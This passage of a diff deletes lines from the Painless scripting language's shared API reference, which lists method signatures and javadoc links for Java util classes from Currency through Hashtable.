-* int {java11-javadoc}/java.base/java/util/Currency.html#getNumericCode()[getNumericCode]()
-* null {java11-javadoc}/java.base/java/util/Currency.html#getSymbol()[getSymbol]()
-* null {java11-javadoc}/java.base/java/util/Currency.html#getSymbol(java.util.Locale)[getSymbol](Locale)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Date]]
-==== Date
-* static Date {java11-javadoc}/java.base/java/util/Date.html#from(java.time.Instant)[from](Instant)
-* {java11-javadoc}/java.base/java/util/Date.html#<init>()[Date]()
-* {java11-javadoc}/java.base/java/util/Date.html#<init>(long)[Date](long)
-* boolean {java11-javadoc}/java.base/java/util/Date.html#after(java.util.Date)[after](Date)
-* boolean {java11-javadoc}/java.base/java/util/Date.html#before(java.util.Date)[before](Date)
-* def {java11-javadoc}/java.base/java/util/Date.html#clone()[clone]()
-* int {java11-javadoc}/java.base/java/util/Date.html#compareTo(java.util.Date)[compareTo](Date)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/Date.html#getTime()[getTime]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/util/Date.html#setTime(long)[setTime](long)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Deque]]
-==== Deque
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* void {java11-javadoc}/java.base/java/util/Deque.html#addFirst(java.lang.Object)[addFirst](def)
-* void {java11-javadoc}/java.base/java/util/Deque.html#addLast(java.lang.Object)[addLast](def)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* Iterator {java11-javadoc}/java.base/java/util/Deque.html#descendingIterator()[descendingIterator]()
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Queue.html#element()[element]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/Deque.html#getFirst()[getFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#getLast()[getLast]()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Queue.html#offer(java.lang.Object)[offer](def)
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#offerFirst(java.lang.Object)[offerFirst](def)
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#offerLast(java.lang.Object)[offerLast](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#peekFirst()[peekFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#peekLast()[peekLast]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#poll()[poll]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pollFirst()[pollFirst]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pollLast()[pollLast]()
-* def {java11-javadoc}/java.base/java/util/Deque.html#pop()[pop]()
-* void {java11-javadoc}/java.base/java/util/Deque.html#push(java.lang.Object)[push](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#remove()[remove]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* def {java11-javadoc}/java.base/java/util/Deque.html#removeFirst()[removeFirst]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#removeFirstOccurrence(java.lang.Object)[removeFirstOccurrence](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* def {java11-javadoc}/java.base/java/util/Deque.html#removeLast()[removeLast]()
-* boolean {java11-javadoc}/java.base/java/util/Deque.html#removeLastOccurrence(java.lang.Object)[removeLastOccurrence](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Dictionary]]
-==== Dictionary
-* Enumeration {java11-javadoc}/java.base/java/util/Dictionary.html#elements()[elements]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* def {java11-javadoc}/java.base/java/util/Dictionary.html#get(java.lang.Object)[get](def)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Dictionary.html#isEmpty()[isEmpty]()
-* Enumeration {java11-javadoc}/java.base/java/util/Dictionary.html#keys()[keys]()
-* def {java11-javadoc}/java.base/java/util/Dictionary.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* def {java11-javadoc}/java.base/java/util/Dictionary.html#remove(java.lang.Object)[remove](def)
-* int {java11-javadoc}/java.base/java/util/Dictionary.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DoubleSummaryStatistics]]
-==== DoubleSummaryStatistics
-* {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#<init>()[DoubleSummaryStatistics]()
-* void {java11-javadoc}/java.base/java/util/function/DoubleConsumer.html#accept(double)[accept](double)
-* DoubleConsumer {java11-javadoc}/java.base/java/util/function/DoubleConsumer.html#andThen(java.util.function.DoubleConsumer)[andThen](DoubleConsumer)
-* void {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#combine(java.util.DoubleSummaryStatistics)[combine](DoubleSummaryStatistics)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* double {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#getAverage()[getAverage]()
-* long {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#getCount()[getCount]()
-* double {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#getMax()[getMax]()
-* double {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#getMin()[getMin]()
-* double {java11-javadoc}/java.base/java/util/DoubleSummaryStatistics.html#getSum()[getSum]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DuplicateFormatFlagsException]]
-==== DuplicateFormatFlagsException
-* {java11-javadoc}/java.base/java/util/DuplicateFormatFlagsException.html#<init>(java.lang.String)[DuplicateFormatFlagsException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/DuplicateFormatFlagsException.html#getFlags()[getFlags]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-EmptyStackException]]
-==== EmptyStackException
-* {java11-javadoc}/java.base/java/util/EmptyStackException.html#<init>()[EmptyStackException]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Enumeration]]
-==== Enumeration
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/util/Enumeration.html#hasMoreElements()[hasMoreElements]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Enumeration.html#nextElement()[nextElement]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-EventListener]]
-==== EventListener
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-EventListenerProxy]]
-==== EventListenerProxy
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* EventListener {java11-javadoc}/java.base/java/util/EventListenerProxy.html#getListener()[getListener]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-EventObject]]
-==== EventObject
-* {java11-javadoc}/java.base/java/util/EventObject.html#<init>(java.lang.Object)[EventObject](Object)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Object {java11-javadoc}/java.base/java/util/EventObject.html#getSource()[getSource]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-FormatFlagsConversionMismatchException]]
-==== FormatFlagsConversionMismatchException
-* {java11-javadoc}/java.base/java/util/FormatFlagsConversionMismatchException.html#<init>(java.lang.String,char)[FormatFlagsConversionMismatchException](null, char)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* char {java11-javadoc}/java.base/java/util/FormatFlagsConversionMismatchException.html#getConversion()[getConversion]()
-* null {java11-javadoc}/java.base/java/util/FormatFlagsConversionMismatchException.html#getFlags()[getFlags]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Formattable]]
-==== Formattable
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/Formattable.html#formatTo(java.util.Formatter,int,int,int)[formatTo](Formatter, int, int, int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-FormattableFlags]]
-==== FormattableFlags
-* static int {java11-javadoc}/java.base/java/util/FormattableFlags.html#ALTERNATE[ALTERNATE]
-* static int {java11-javadoc}/java.base/java/util/FormattableFlags.html#LEFT_JUSTIFY[LEFT_JUSTIFY]
-* static int {java11-javadoc}/java.base/java/util/FormattableFlags.html#UPPERCASE[UPPERCASE]
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Formatter]]
-==== Formatter
-* {java11-javadoc}/java.base/java/util/Formatter.html#<init>()[Formatter]()
-* {java11-javadoc}/java.base/java/util/Formatter.html#<init>(java.lang.Appendable)[Formatter](Appendable)
-* {java11-javadoc}/java.base/java/util/Formatter.html#<init>(java.lang.Appendable,java.util.Locale)[Formatter](Appendable, Locale)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Formatter {java11-javadoc}/java.base/java/util/Formatter.html#format(java.lang.String,java.lang.Object%5B%5D)[format](null, def[])
-* Formatter {java11-javadoc}/java.base/java/util/Formatter.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, null, def[])
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Locale {java11-javadoc}/java.base/java/util/Formatter.html#locale()[locale]()
-* Appendable {java11-javadoc}/java.base/java/util/Formatter.html#out()[out]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Formatter-BigDecimalLayoutForm]]
-==== Formatter.BigDecimalLayoutForm
-* static Formatter.BigDecimalLayoutForm {java11-javadoc}/java.base/java/util/Formatter$BigDecimalLayoutForm.html#DECIMAL_FLOAT[DECIMAL_FLOAT]
-* static Formatter.BigDecimalLayoutForm {java11-javadoc}/java.base/java/util/Formatter$BigDecimalLayoutForm.html#SCIENTIFIC[SCIENTIFIC]
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-FormatterClosedException]]
-==== FormatterClosedException
-* {java11-javadoc}/java.base/java/util/FormatterClosedException.html#<init>()[FormatterClosedException]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-GregorianCalendar]]
-==== GregorianCalendar
-* static int {java11-javadoc}/java.base/java/util/GregorianCalendar.html#AD[AD]
-* static int {java11-javadoc}/java.base/java/util/GregorianCalendar.html#BC[BC]
-* static GregorianCalendar {java11-javadoc}/java.base/java/util/GregorianCalendar.html#from(java.time.ZonedDateTime)[from](ZonedDateTime)
-* {java11-javadoc}/java.base/java/util/GregorianCalendar.html#<init>()[GregorianCalendar]()
-* {java11-javadoc}/java.base/java/util/GregorianCalendar.html#<init>(java.util.TimeZone)[GregorianCalendar](TimeZone)
-* {java11-javadoc}/java.base/java/util/GregorianCalendar.html#<init>(java.util.TimeZone,java.util.Locale)[GregorianCalendar](TimeZone, Locale)
-* {java11-javadoc}/java.base/java/util/GregorianCalendar.html#<init>(int,int,int)[GregorianCalendar](int, int, int)
-* {java11-javadoc}/java.base/java/util/GregorianCalendar.html#<init>(int,int,int,int,int)[GregorianCalendar](int, int, int, int, int)
-* {java11-javadoc}/java.base/java/util/GregorianCalendar.html#<init>(int,int,int,int,int,int)[GregorianCalendar](int, int, int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#add(int,int)[add](int, int)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#after(java.lang.Object)[after](Object)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#before(java.lang.Object)[before](Object)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#clear()[clear]()
-* void {java11-javadoc}/java.base/java/util/Calendar.html#clear(int)[clear](int)
-* def {java11-javadoc}/java.base/java/util/Calendar.html#clone()[clone]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#compareTo(java.util.Calendar)[compareTo](Calendar)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#get(int)[get](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getActualMaximum(int)[getActualMaximum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getActualMinimum(int)[getActualMinimum](int)
-* null {java11-javadoc}/java.base/java/util/Calendar.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/util/Calendar.html#getDisplayName(int,int,java.util.Locale)[getDisplayName](int, int, Locale)
-* Map {java11-javadoc}/java.base/java/util/Calendar.html#getDisplayNames(int,int,java.util.Locale)[getDisplayNames](int, int, Locale)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getFirstDayOfWeek()[getFirstDayOfWeek]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getGreatestMinimum(int)[getGreatestMinimum](int)
-* Date {java11-javadoc}/java.base/java/util/GregorianCalendar.html#getGregorianChange()[getGregorianChange]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getLeastMaximum(int)[getLeastMaximum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getMaximum(int)[getMaximum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getMinimalDaysInFirstWeek()[getMinimalDaysInFirstWeek]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getMinimum(int)[getMinimum](int)
-* Date {java11-javadoc}/java.base/java/util/Calendar.html#getTime()[getTime]()
-* long {java11-javadoc}/java.base/java/util/Calendar.html#getTimeInMillis()[getTimeInMillis]()
-* TimeZone {java11-javadoc}/java.base/java/util/Calendar.html#getTimeZone()[getTimeZone]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getWeekYear()[getWeekYear]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getWeeksInWeekYear()[getWeeksInWeekYear]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/GregorianCalendar.html#isLeapYear(int)[isLeapYear](int)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#isLenient()[isLenient]()
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#isSet(int)[isSet](int)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#isWeekDateSupported()[isWeekDateSupported]()
-* void {java11-javadoc}/java.base/java/util/Calendar.html#roll(int,int)[roll](int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int)[set](int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int,int)[set](int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int,int,int,int)[set](int, int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int,int,int,int,int)[set](int, int, int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setFirstDayOfWeek(int)[setFirstDayOfWeek](int)
-* void {java11-javadoc}/java.base/java/util/GregorianCalendar.html#setGregorianChange(java.util.Date)[setGregorianChange](Date)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setLenient(boolean)[setLenient](boolean)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setMinimalDaysInFirstWeek(int)[setMinimalDaysInFirstWeek](int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setTime(java.util.Date)[setTime](Date)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setTimeInMillis(long)[setTimeInMillis](long)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setTimeZone(java.util.TimeZone)[setTimeZone](TimeZone)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setWeekDate(int,int,int)[setWeekDate](int, int, int)
-* Instant {java11-javadoc}/java.base/java/util/Calendar.html#toInstant()[toInstant]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* ZonedDateTime {java11-javadoc}/java.base/java/util/GregorianCalendar.html#toZonedDateTime()[toZonedDateTime]()
-
-
-[[painless-api-reference-shared-HashMap]]
-==== HashMap
-* {java11-javadoc}/java.base/java/util/HashMap.html#<init>()[HashMap]()
-* {java11-javadoc}/java.base/java/util/HashMap.html#<init>(java.util.Map)[HashMap](Map)
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/HashMap.html#clone()[clone]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-HashSet]]
-==== HashSet
-* {java11-javadoc}/java.base/java/util/HashSet.html#<init>()[HashSet]()
-* {java11-javadoc}/java.base/java/util/HashSet.html#<init>(java.util.Collection)[HashSet](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/HashSet.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Hashtable]]
-==== Hashtable
-* {java11-javadoc}/java.base/java/util/Hashtable.html#<init>()[Hashtable]()
-* {java11-javadoc}/java.base/java/util/Hashtable.html#<init>(java.util.Map)[Hashtable](Map)
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/Hashtable.html#clone()[clone]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Enumeration {java11-javadoc}/java.base/java/util/Dictionary.html#elements()[elements]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
